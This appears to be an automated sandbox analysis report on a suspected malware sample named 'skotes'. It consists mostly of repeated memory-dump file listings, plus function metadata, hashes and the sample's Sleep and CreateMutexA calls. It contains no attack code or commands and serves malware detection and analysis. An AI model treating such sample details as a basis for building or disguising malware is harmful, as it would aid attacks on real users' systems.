Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 36c334f4b39265a5ee94729f498a20c6b9fd1cc3191c9233cb25f8154fe0bf02
Instruction ID: a8d1ef3391d37e110b4e46baa49d3b1d8b149b35398c3c59628faf0fd33381ef
Opcode Fuzzy Hash: 36c334f4b39265a5ee94729f498a20c6b9fd1cc3191c9233cb25f8154fe0bf02
Instruction Fuzzy Hash: 3AE08C3000218CAEDE357F58C9099A83B2BEF5274AF045814FA0896622CB29EE81CA80

Function 006C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: c109278b67aedbe3c2cfef316435076ff8c545ab2f17f5ef52fce821e00e7808
Instruction ID: 90d9c2ee50c64cf9075c7207a6b45eb586d772e86a18a7c75930fcbca37b2e51
Opcode Fuzzy Hash: c109278b67aedbe3c2cfef316435076ff8c545ab2f17f5ef52fce821e00e7808
Instruction Fuzzy Hash: 9A314C31B04204DBEB089B78DCC9BBDB7A3EBC1314F24825DE114A73D5C77599808765

Function 006C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: de60e833b1440a607df19e163759d1b29562c523cb3781bb14495247d591ca9b
Instruction ID: 70354b62f8e109b2b3b379c987a79f830785702cdc26e9dfa18d43d1156e2037
Opcode Fuzzy Hash: de60e833b1440a607df19e163759d1b29562c523cb3781bb14495247d591ca9b
Instruction Fuzzy Hash: 8D312A31B141448BEB189FB8D889BBCB7A3EBC5318F24825DE114EB3D5C77599808766

Function 006CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: a89c18deca79021633d593a471bb4a48b0e98f5efdd34fc5f5c3cd50fe9a07b0
Instruction ID: 96fa178c1dc526016f0ecbd8c796697d580e812994d8129d50e95bc596ccfa36
Opcode Fuzzy Hash: a89c18deca79021633d593a471bb4a48b0e98f5efdd34fc5f5c3cd50fe9a07b0
Instruction Fuzzy Hash: DD316A31B141089BEB089BB8DC85FBCB7B3EBC1318F24825DE0149B3D5C77A99808756

Function 006CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
